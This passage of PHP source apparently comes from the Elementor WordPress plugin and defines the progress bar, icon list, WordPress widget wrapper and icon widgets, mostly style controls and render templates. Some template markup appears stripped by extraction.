'{{WRAPPER}} .elementor-progress-bar', ] ); $this->end_controls_section(); $this->start_controls_section( 'section_title', [ 'label' => esc_html__( 'Title Style', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'title_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-title' => 'color: {{VALUE}};', ], 'global' => [ 'default' => Global_Colors::COLOR_PRIMARY, ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'typography', 'selector' => '{{WRAPPER}} .elementor-title', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_TEXT, ], ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'title_shadow', 'selector' => '{{WRAPPER}} .elementor-title', ] ); $this->end_controls_section(); } /** * Render progress widget output on the frontend. * Make sure value does no exceed 100%. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); if ( empty( $settings['title'] ) && empty( $settings['percent']['size'] ) ) { return; } $progressbar_id = 'elementor-progress-bar-' . $this->get_id(); $progress_percentage = is_numeric( $settings['percent']['size'] ) ? $settings['percent']['size'] : '0'; if ( 100 < $progress_percentage ) { $progress_percentage = 100; } if ( ! Utils::is_empty( $settings['title'] ) ) { $this->add_render_attribute( 'title', [ 'class' => 'elementor-title', 'id' => $progressbar_id, ] ); $this->add_inline_editing_attributes( 'title' ); $this->add_render_attribute( 'wrapper', 'aria-labelledby', $progressbar_id ); } $this->add_render_attribute( 'wrapper', [ 'class' => 'elementor-progress-wrapper', 'role' => 'progressbar', 'aria-valuemin' => '0', 'aria-valuemax' => '100', 'aria-valuenow' => $progress_percentage, ] ); if ( ! empty( $settings['inner_text'] ) ) { $this->add_render_attribute( 'wrapper', 'aria-valuetext', "{$progress_percentage}% ({$settings['inner_text']})" ); } if ( ! empty( $settings['progress_type'] ) ) { $this->add_render_attribute( 'wrapper', 'class', 'progress-' . $settings['progress_type'] ); } $this->add_render_attribute( 'progress-bar', [ 'class' => 'elementor-progress-bar', 'data-max' => $progress_percentage, ] ); $this->add_render_attribute( 'inner_text', 'class', 'elementor-progress-text' ); $this->add_inline_editing_attributes( 'inner_text' ); if ( ! Utils::is_empty( $settings['title'] ) ) { ?> < print_render_attribute_string( 'title' ); ?>> print_unescaped_setting( 'title' ); ?> >
print_render_attribute_string( 'wrapper' ); ?>>
print_render_attribute_string( 'progress-bar' ); ?>> print_render_attribute_string( 'inner_text' ); ?>>print_unescaped_setting( 'inner_text' ); ?> %
<# if ( '' === settings.title && '' === settings.percent.size ) { return; } const title_tag = elementor.helpers.validateHTMLTag( settings.title_tag ); const progressbar_id = 'elementor-progress-bar-get_id() ); ?>'; let progress_percentage = 0; if ( ! isNaN( settings.percent.size ) ) { progress_percentage = 100 < settings.percent.size ? 100 : settings.percent.size; } if ( settings.title ) { view.addRenderAttribute( 'title', { 'class': 'elementor-title', 'id': progressbar_id, } ); view.addInlineEditingAttributes( 'title' ); view.addRenderAttribute( 'wrapper', 'aria-labelledby', progressbar_id ); } view.addRenderAttribute( 'progressWrapper', { 'class': [ 'elementor-progress-wrapper', 'progress-' + settings.progress_type ], 'role': 'progressbar', 'aria-valuemin': '0', 'aria-valuemax': '100', 'aria-valuenow': progress_percentage, } ); if ( '' !== settings.inner_text ) { view.addRenderAttribute( 'progressWrapper', 'aria-valuetext', progress_percentage + '% (' + settings.inner_text + ')' ); } view.addRenderAttribute( 'inner_text', 'class', 'elementor-progress-text' ); view.addInlineEditingAttributes( 'inner_text' ); #> <# if ( settings.title ) { #> <{{ title_tag }} {{{ view.getRenderAttributeString( 'title' ) }}}>{{{ settings.title }}} <# } #>
{{{ settings.inner_text }}} <# if ( 'show' === settings.display_percentage ) { #> {{{ progress_percentage }}}% <# } #>
start_controls_section( 'section_icon', [ 'label' => esc_html__( 'Icon List', 'elementor' ), ] ); $this->add_control( 'view', [ 'label' => esc_html__( 'Layout', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'default' => 'traditional', 'options' => [ 'traditional' => [ 'title' => esc_html__( 'Default', 'elementor' ), 'icon' => 'eicon-editor-list-ul', ], 'inline' => [ 'title' => esc_html__( 'Inline', 'elementor' ), 'icon' => 'eicon-ellipsis-h', ], ], 'render_type' => 'template', 'classes' => 'elementor-control-start-end', 'style_transfer' => true, 'prefix_class' => 'elementor-icon-list--layout-', ] ); $repeater = new Repeater(); $repeater->add_control( 'text', [ 'label' => esc_html__( 'Text', 'elementor' ), 'type' => Controls_Manager::TEXT, 'label_block' => true, 'placeholder' => esc_html__( 'List Item', 'elementor' ), 'default' => esc_html__( 'List Item', 'elementor' ), 'dynamic' => [ 'active' => true, ], ] ); $repeater->add_control( 'selected_icon', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'type' => Controls_Manager::ICONS, 'default' => [ 'value' => 'fas fa-check', 'library' => 'fa-solid', ], 'fa4compatibility' => 'icon', ] ); $repeater->add_control( 'link', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::URL, 'dynamic' => [ 'active' => true, ], ] ); $this->add_control( 'icon_list', [ 'label' => esc_html__( 'Items', 'elementor' ), 'type' => Controls_Manager::REPEATER, 'fields' => $repeater->get_controls(), 'default' => [ [ 'text' => esc_html__( 'List Item #1', 'elementor' ), 'selected_icon' => [ 'value' => 'fas fa-check', 'library' => 'fa-solid', ], ], [ 'text' => esc_html__( 'List Item #2', 'elementor' ), 'selected_icon' => [ 'value' => 'fas fa-times', 'library' => 'fa-solid', ], ], [ 'text' => esc_html__( 'List Item #3', 'elementor' ), 'selected_icon' => [ 'value' => 'fas fa-dot-circle', 'library' => 'fa-solid', ], ], ], 'title_field' => '{{{ elementor.helpers.renderIcon( this, selected_icon, {}, "i", "panel" ) || \'\' }}} {{{ text }}}', ] ); $this->add_control( 'link_click', [ 'label' => esc_html__( 'Apply Link On', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'full_width' => esc_html__( 'Full Width', 'elementor' ), 'inline' => esc_html__( 'Inline', 'elementor' ), ], 'default' => 'full_width', 'separator' => 'before', 'prefix_class' => 'elementor-list-item-link-', ] ); $this->end_controls_section(); $this->start_controls_section( 'section_icon_list', [ 'label' => esc_html__( 'List', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_responsive_control( 'space_between', [ 'label' => esc_html__( 'Space Between', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 50, ], ], 'selectors' => [ '{{WRAPPER}} .elementor-icon-list-items:not(.elementor-inline-items) .elementor-icon-list-item:not(:last-child)' => 'padding-bottom: calc({{SIZE}}{{UNIT}}/2)', '{{WRAPPER}} .elementor-icon-list-items:not(.elementor-inline-items) .elementor-icon-list-item:not(:first-child)' => 'margin-top: calc({{SIZE}}{{UNIT}}/2)', '{{WRAPPER}} .elementor-icon-list-items.elementor-inline-items .elementor-icon-list-item' => 'margin-right: calc({{SIZE}}{{UNIT}}/2); margin-left: calc({{SIZE}}{{UNIT}}/2)', '{{WRAPPER}} .elementor-icon-list-items.elementor-inline-items' => 'margin-right: calc(-{{SIZE}}{{UNIT}}/2); margin-left: calc(-{{SIZE}}{{UNIT}}/2)', 'body.rtl {{WRAPPER}} .elementor-icon-list-items.elementor-inline-items .elementor-icon-list-item:after' => 'left: calc(-{{SIZE}}{{UNIT}}/2)', 'body:not(.rtl) {{WRAPPER}} .elementor-icon-list-items.elementor-inline-items .elementor-icon-list-item:after' => 'right: calc(-{{SIZE}}{{UNIT}}/2)', ], ] ); $this->add_responsive_control( 'icon_align', [ 'label' => esc_html__( 'Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-h-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-h-align-center', ], 'right' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-h-align-right', ], ], 'prefix_class' => 'elementor%s-align-', ] ); $this->add_control( 'divider', [ 'label' => esc_html__( 'Divider', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_off' => esc_html__( 'Off', 'elementor' ), 'label_on' => esc_html__( 'On', 'elementor' ), 'selectors' => [ '{{WRAPPER}} .elementor-icon-list-item:not(:last-child):after' => 'content: ""', ], 'separator' => 'before', ] ); $this->add_control( 'divider_style', [ 'label' => esc_html__( 'Style', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'solid' => esc_html__( 'Solid', 'elementor' ), 'double' => esc_html__( 'Double', 'elementor' ), 'dotted' => esc_html__( 'Dotted', 'elementor' ), 'dashed' => esc_html__( 'Dashed', 'elementor' ), ], 'default' => 'solid', 'condition' => [ 'divider' => 'yes', ], 'selectors' => [ '{{WRAPPER}} .elementor-icon-list-items:not(.elementor-inline-items) .elementor-icon-list-item:not(:last-child):after' => 'border-top-style: {{VALUE}}', '{{WRAPPER}} .elementor-icon-list-items.elementor-inline-items .elementor-icon-list-item:not(:last-child):after' => 'border-left-style: {{VALUE}}', ], ] ); $this->add_control( 'divider_weight', [ 'label' => esc_html__( 'Weight', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'default' => [ 'size' => 1, ], 'range' => [ 'px' => [ 'min' => 1, 'max' => 20, ], ], 'condition' => [ 'divider' => 'yes', ], 'selectors' => [ '{{WRAPPER}} .elementor-icon-list-items:not(.elementor-inline-items) .elementor-icon-list-item:not(:last-child):after' => 'border-top-width: {{SIZE}}{{UNIT}}', '{{WRAPPER}} .elementor-inline-items .elementor-icon-list-item:not(:last-child):after' => 'border-left-width: {{SIZE}}{{UNIT}}', ], ] ); $this->add_control( 'divider_width', [ 'label' => esc_html__( 'Width', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'default' => [ 'unit' => '%', ], 'condition' => [ 'divider' => 'yes', 'view!' => 'inline', ], 'selectors' => [ '{{WRAPPER}} .elementor-icon-list-item:not(:last-child):after' => 'width: {{SIZE}}{{UNIT}}', ], ] ); $this->add_control( 'divider_height', [ 'label' => esc_html__( 'Height', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vh', 'custom' ], 'default' => [ 'unit' => '%', ], 'range' => [ 'px' => [ 'min' => 1, 'max' => 100, ], '%' => [ 'min' => 1, 'max' => 100, ], 'vh' => [ 'min' => 1, 'max' => 100, ], ], 'condition' => [ 'divider' => 'yes', 'view' => 'inline', ], 'selectors' => [ '{{WRAPPER}} .elementor-icon-list-item:not(:last-child):after' => 'height: {{SIZE}}{{UNIT}}', ], ] ); $this->add_control( 'divider_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '#ddd', 'global' => [ 'default' => Global_Colors::COLOR_TEXT, ], 'condition' => [ 'divider' => 'yes', ], 'selectors' => [ '{{WRAPPER}} .elementor-icon-list-item:not(:last-child):after' => 'border-color: {{VALUE}}', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_icon_style', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->start_controls_tabs( 'icon_colors' ); $this->start_controls_tab( 'icon_colors_normal', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); $this->add_control( 'icon_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'selectors' => [ '{{WRAPPER}} .elementor-icon-list-icon i' => 'color: {{VALUE}};', '{{WRAPPER}} .elementor-icon-list-icon svg' => 'fill: {{VALUE}};', ], 'global' => [ 'default' => Global_Colors::COLOR_PRIMARY, ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'icon_colors_hover', [ 'label' => esc_html__( 'Hover', 'elementor' ), ] ); $this->add_control( 'icon_color_hover', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'selectors' => [ '{{WRAPPER}} .elementor-icon-list-item:hover .elementor-icon-list-icon i' => 'color: {{VALUE}};', '{{WRAPPER}} .elementor-icon-list-item:hover .elementor-icon-list-icon svg' => 'fill: {{VALUE}};', ], ] ); $this->add_control( 'icon_color_hover_transition', [ 'label' => esc_html__( 'Transition Duration', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 's', 'ms', 'custom' ], 'default' => [ 'unit' => 's', 'size' => 0.3, ], 'selectors' => [ '{{WRAPPER}} .elementor-icon-list-icon i' => 'transition: color {{SIZE}}{{UNIT}}', '{{WRAPPER}} .elementor-icon-list-icon svg' => 'transition: fill {{SIZE}}{{UNIT}}', ], ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->add_responsive_control( 'icon_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'default' => [ 'size' => 14, ], 'range' => [ 'px' => [ 'min' => 6, ], '%' => [ 'min' => 6, ], 'vw' => [ 'min' => 6, ], ], 'separator' => 'before', 'selectors' => [ '{{WRAPPER}}' => '--e-icon-list-icon-size: {{SIZE}}{{UNIT}};', ], ] ); $this->add_control( 'text_indent', [ 'label' => esc_html__( 'Gap', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'max' => 50, ], ], 'separator' => 'after', 'selectors' => [ '{{WRAPPER}} .elementor-icon-list-icon' => is_rtl() ? 'padding-left: {{SIZE}}{{UNIT}};' : 'padding-right: {{SIZE}}{{UNIT}};', ], ] ); $e_icon_list_icon_css_var = 'var(--e-icon-list-icon-size, 1em)'; $e_icon_list_icon_align_left = sprintf( '0 calc(%s * 0.25) 0 0', $e_icon_list_icon_css_var ); $e_icon_list_icon_align_center = sprintf( '0 calc(%s * 0.125)', $e_icon_list_icon_css_var ); $e_icon_list_icon_align_right = sprintf( '0 0 0 calc(%s * 0.25)', $e_icon_list_icon_css_var ); $this->add_responsive_control( 'icon_self_align', [ 'label' => esc_html__( 'Horizontal Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-h-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-h-align-center', ], 'right' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-h-align-right', ], ], 'default' => '', 'selectors_dictionary' => [ 'left' => sprintf( '--e-icon-list-icon-align: left; --e-icon-list-icon-margin: %s;', $e_icon_list_icon_align_left ), 'center' => sprintf( '--e-icon-list-icon-align: center; --e-icon-list-icon-margin: %s;', $e_icon_list_icon_align_center ), 'right' => sprintf( '--e-icon-list-icon-align: right; --e-icon-list-icon-margin: %s;', $e_icon_list_icon_align_right ), ], 'selectors' => [ '{{WRAPPER}}' => '{{VALUE}}', ], ] ); $this->add_responsive_control( 'icon_self_vertical_align', [ 'label' => esc_html__( 'Vertical Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'flex-start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => 'eicon-v-align-top', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-v-align-middle', ], 'flex-end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => 'eicon-v-align-bottom', ], ], 'default' => '', 'selectors' => [ '{{WRAPPER}}' => '--icon-vertical-align: {{VALUE}};', ], ] ); $this->add_responsive_control( 'icon_vertical_offset', [ 'label' => esc_html__( 'Adjust Vertical Position', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'default' => [ 'size' => 0, ], 'range' => [ 'px' => [ 'min' => -15, 'max' => 15, ], 'em' => [ 'min' => -1, 'max' => 1, ], ], 'selectors' => [ '{{WRAPPER}}' => '--icon-vertical-offset: {{SIZE}}{{UNIT}};', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_text_style', [ 'label' => esc_html__( 'Text', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'icon_typography', 'selector' => '{{WRAPPER}} .elementor-icon-list-item > .elementor-icon-list-text, {{WRAPPER}} .elementor-icon-list-item > a', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_TEXT, ], ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'text_shadow', 'selector' => '{{WRAPPER}} .elementor-icon-list-text', ] ); $this->start_controls_tabs( 'text_colors' ); $this->start_controls_tab( 'text_colors_normal', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); $this->add_control( 'text_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'selectors' => [ '{{WRAPPER}} .elementor-icon-list-text' => 'color: {{VALUE}};', ], 'global' => [ 'default' => Global_Colors::COLOR_SECONDARY, ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'text_colors_hover', [ 'label' => esc_html__( 'Hover', 'elementor' ), ] ); $this->add_control( 'text_color_hover', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'selectors' => [ '{{WRAPPER}} .elementor-icon-list-item:hover .elementor-icon-list-text' => 'color: {{VALUE}};', ], ] ); $this->add_control( 'text_color_hover_transition', [ 'label' => esc_html__( 'Transition Duration', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 's', 'ms', 'custom' ], 'default' => [ 'unit' => 's', 'size' => 0.3, ], 'selectors' => [ '{{WRAPPER}} .elementor-icon-list-text' => 'transition: color {{SIZE}}{{UNIT}}', ], ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->end_controls_section(); } /** * Render icon list widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); $fallback_defaults = [ 'fa fa-check', 'fa fa-times', 'fa fa-dot-circle-o', ]; $this->add_render_attribute( 'icon_list', 'class', 'elementor-icon-list-items' ); $this->add_render_attribute( 'list_item', 'class', 'elementor-icon-list-item' ); if ( 'inline' === $settings['view'] ) { $this->add_render_attribute( 'icon_list', 'class', 'elementor-inline-items' ); $this->add_render_attribute( 'list_item', 'class', 'elementor-inline-item' ); } ?> <# view.addRenderAttribute( 'icon_list', 'class', 'elementor-icon-list-items' ); view.addRenderAttribute( 'list_item', 'class', 'elementor-icon-list-item' ); if ( 'inline' == settings.view ) { view.addRenderAttribute( 'icon_list', 'class', 'elementor-inline-items' ); view.addRenderAttribute( 'list_item', 'class', 'elementor-inline-item' ); } var iconsHTML = {}, migrated = {}; #> <# if ( settings.icon_list ) { #> <# } #> get_widget_instance()->id_base; } /** * Get widget title. * * Retrieve WordPress widget title. * * @since 1.0.0 * @access public * * @return string Widget title. */ public function get_title() { return $this->get_widget_instance()->name; } /** * Get widget categories. * * Retrieve the list of categories the WordPress widget belongs to. * * Used to determine where to display the widget in the editor. * * @since 1.0.0 * @access public * * @return array Widget categories. Returns either a WordPress category. */ public function get_categories() { return [ 'wordpress' ]; } /** * Get widget icon. * * Retrieve WordPress widget icon. * * @since 1.0.0 * @access public * * @return string Widget icon. Returns either a WordPress icon. */ public function get_icon() { return 'eicon-wordpress'; } /** * Get widget keywords. * * Retrieve the list of keywords the widget belongs to. * * @since 2.1.0 * @access public * * @return array Widget keywords. */ public function get_keywords() { return [ 'wordpress', 'widget' ]; } public function get_help_url() { return ''; } /** * Whether the reload preview is required or not. * * Used to determine whether the reload preview is required. * * @since 1.0.0 * @access public * * @return bool Whether the reload preview is required. */ public function is_reload_preview_required() { return true; } /** * Retrieve WordPress widget form. * * Returns the WordPress widget form, to be used in Elementor. * * @since 1.0.0 * @access public * * @return string Widget form. */ public function get_form() { $instance = $this->get_widget_instance(); ob_start(); echo '
'; echo ''; echo ''; echo '
'; $widget_data = $this->get_settings( 'wp' ); $instance->form( $widget_data ); do_action( 'in_widget_form', $instance, null, $widget_data ); echo '
'; return ob_get_clean(); } /** * Retrieve WordPress widget instance. * * Returns an instance of WordPress widget, to be used in Elementor. * * @since 1.0.0 * @access public * * @return \WP_Widget */ public function get_widget_instance() { if ( is_null( $this->_widget_instance ) ) { global $wp_widget_factory; if ( isset( $wp_widget_factory->widgets[ $this->_widget_name ] ) ) { $this->_widget_instance = $wp_widget_factory->widgets[ $this->_widget_name ]; $this->_widget_instance->_set( 'REPLACE_TO_ID' ); } elseif ( class_exists( $this->_widget_name ) ) { $this->_widget_instance = new $this->_widget_name(); $this->_widget_instance->_set( 'REPLACE_TO_ID' ); } } return $this->_widget_instance; } /** * Retrieve WordPress widget parsed settings. * * Returns the WordPress widget settings, to be used in Elementor. * * @access protected * @since 2.3.0 * * @return array Parsed settings. */ protected function get_init_settings() { $settings = parent::get_init_settings(); if ( ! empty( $settings['wp'] ) ) { $widget = $this->get_widget_instance(); $instance = $widget->update( $settings['wp'], [] ); /** This filter is documented in wp-includes/class-wp-widget.php */ $settings['wp'] = apply_filters( 'widget_update_callback', $instance, $settings['wp'], [], $widget ); } return $settings; } /** * Register WordPress widget controls. * * Adds different input fields to allow the user to change and customize the widget settings. * * @since 3.1.0 * @access protected */ protected function register_controls() { $this->add_control( 'wp', [ 'label' => esc_html__( 'Form', 'elementor' ), 'type' => Controls_Manager::WP_WIDGET, 'widget' => $this->get_name(), 'id_base' => $this->get_widget_instance()->id_base, ] ); } /** * Render WordPress widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $default_widget_args = [ 'widget_id' => $this->get_name(), 'before_widget' => '', 'after_widget' => '', 'before_title' => '
', 'after_title' => '
', ]; /** * WordPress widget args. * * Filters the WordPress widget arguments when they are rendered in Elementor panel. * * @since 1.0.0 * * @param array $default_widget_args Default widget arguments. * @param Widget_WordPress $this The WordPress widget. */ $default_widget_args = apply_filters( 'elementor/widgets/wordpress/widget_args', $default_widget_args, $this ); $is_gallery_widget = 'wp-widget-media_gallery' === $this->get_name(); if ( $is_gallery_widget ) { add_filter( 'wp_get_attachment_link', [ $this, 'add_lightbox_data_to_image_link' ], 10, 2 ); } $this->get_widget_instance()->widget( $default_widget_args, $this->get_settings( 'wp' ) ); if ( $is_gallery_widget ) { remove_filter( 'wp_get_attachment_link', [ $this, 'add_lightbox_data_to_image_link' ] ); } } /** * Render WordPress widget output in the editor. * * Written as a Backbone JavaScript template and used to generate the live preview. * * @since 2.9.0 * @access protected */ protected function content_template() {} /** * WordPress widget constructor. * * Used to run WordPress widget constructor. * * @since 1.0.0 * @access public * * @param array $data Widget data. Default is an empty array. * @param array $args Widget arguments. Default is null. */ public function __construct( $data = [], $args = null ) { $this->_widget_name = $args['widget_name']; parent::__construct( $data, $args ); } /** * Render WordPress widget as plain content. * * Override the default render behavior, don't render widget content. * * @since 1.0.0 * @access public * * @param array $instance Widget instance. Default is empty array. */ public function render_plain_content( $instance = [] ) {} } includes/widgets/icon.php000064400000031006147206604650011473 0ustar00start_controls_section( 'section_icon', [ 'label' => esc_html__( 'Icon', 'elementor' ), ] ); $this->add_control( 'selected_icon', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'type' => Controls_Manager::ICONS, 'fa4compatibility' => 'icon', 'default' => [ 'value' => 'fas fa-star', 'library' => 'fa-solid', ], ] ); $this->add_control( 'view', [ 'label' => esc_html__( 'View', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'default' => esc_html__( 'Default', 'elementor' ), 'stacked' => esc_html__( 'Stacked', 'elementor' ), 'framed' => esc_html__( 'Framed', 'elementor' ), ], 'default' => 'default', 'prefix_class' => 'elementor-view-', ] ); $this->add_control( 'shape', [ 'label' => esc_html__( 'Shape', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'square' => esc_html__( 'Square', 'elementor' ), 'rounded' => esc_html__( 'Rounded', 'elementor' ), 'circle' => esc_html__( 'Circle', 'elementor' ), ], 'default' => 'circle', 'condition' => [ 'view!' => 'default', ], 'prefix_class' => 'elementor-shape-', ] ); $this->add_control( 'link', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::URL, 'dynamic' => [ 'active' => true, ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_style_icon', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_responsive_control( 'align', [ 'label' => esc_html__( 'Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-text-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-text-align-center', ], 'right' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-text-align-right', ], ], 'default' => 'center', 'selectors' => [ '{{WRAPPER}} .elementor-icon-wrapper' => 'text-align: {{VALUE}};', ], ] ); $this->start_controls_tabs( 'icon_colors' ); $this->start_controls_tab( 'icon_colors_normal', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); $this->add_control( 'primary_color', [ 'label' => esc_html__( 'Primary Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'selectors' => [ '{{WRAPPER}}.elementor-view-stacked .elementor-icon' => 'background-color: {{VALUE}};', '{{WRAPPER}}.elementor-view-framed .elementor-icon, {{WRAPPER}}.elementor-view-default .elementor-icon' => 'color: {{VALUE}}; border-color: {{VALUE}};', '{{WRAPPER}}.elementor-view-framed .elementor-icon, {{WRAPPER}}.elementor-view-default .elementor-icon svg' => 'fill: {{VALUE}};', ], 'global' => [ 'default' => Global_Colors::COLOR_PRIMARY, ], ] ); $this->add_control( 'secondary_color', [ 'label' => esc_html__( 'Secondary Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'condition' => [ 'view!' => 'default', ], 'selectors' => [ '{{WRAPPER}}.elementor-view-framed .elementor-icon' => 'background-color: {{VALUE}};', '{{WRAPPER}}.elementor-view-stacked .elementor-icon' => 'color: {{VALUE}};', '{{WRAPPER}}.elementor-view-stacked .elementor-icon svg' => 'fill: {{VALUE}};', ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'icon_colors_hover', [ 'label' => esc_html__( 'Hover', 'elementor' ), ] ); $this->add_control( 'hover_primary_color', [ 'label' => esc_html__( 'Primary Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'selectors' => [ '{{WRAPPER}}.elementor-view-stacked .elementor-icon:hover' => 'background-color: {{VALUE}};', '{{WRAPPER}}.elementor-view-framed .elementor-icon:hover, {{WRAPPER}}.elementor-view-default .elementor-icon:hover' => 'color: {{VALUE}}; border-color: {{VALUE}};', '{{WRAPPER}}.elementor-view-framed .elementor-icon:hover, {{WRAPPER}}.elementor-view-default .elementor-icon:hover svg' => 'fill: {{VALUE}};', ], ] ); $this->add_control( 'hover_secondary_color', [ 'label' => esc_html__( 'Secondary Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'condition' => [ 'view!' => 'default', ], 'selectors' => [ '{{WRAPPER}}.elementor-view-framed .elementor-icon:hover' => 'background-color: {{VALUE}};', '{{WRAPPER}}.elementor-view-stacked .elementor-icon:hover' => 'color: {{VALUE}};', '{{WRAPPER}}.elementor-view-stacked .elementor-icon:hover svg' => 'fill: {{VALUE}};', ], ] ); $this->add_control( 'hover_animation', [ 'label' => esc_html__( 'Hover Animation', 'elementor' ), 'type' => Controls_Manager::HOVER_ANIMATION, ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->add_responsive_control( 'size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'min' => 6, 'max' => 300, ], ], 'selectors' => [ '{{WRAPPER}} .elementor-icon' => 'font-size: {{SIZE}}{{UNIT}};', '{{WRAPPER}} .elementor-icon svg' => 'height: {{SIZE}}{{UNIT}};', ], 'separator' => 'before', ] ); $this->add_control( 'fit_to_size', [ 'label' => esc_html__( 'Fit to Size', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'description' => 'Avoid gaps around icons when width and height aren\'t equal', 'label_off' => esc_html__( 'Off', 'elementor' ), 'label_on' => esc_html__( 'On', 'elementor' ), 'condition' => [ 'selected_icon[library]' => 'svg', ], 'selectors' => [ '{{WRAPPER}} .elementor-icon-wrapper svg' => 'width: 100%;', ], ] ); $this->add_control( 'icon_padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ '{{WRAPPER}} .elementor-icon' => 'padding: {{SIZE}}{{UNIT}};', ], 'range' => [ 'px' => [ 'max' => 50, ], 'em' => [ 'min' => 0, 'max' => 5, ], 'rem' => [ 'min' => 0, 'max' => 5, ], ], 'condition' => [ 'view!' => 'default', ], ] ); $this->add_responsive_control( 'rotate', [ 'label' => esc_html__( 'Rotate', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'deg', 'grad', 'rad', 'turn', 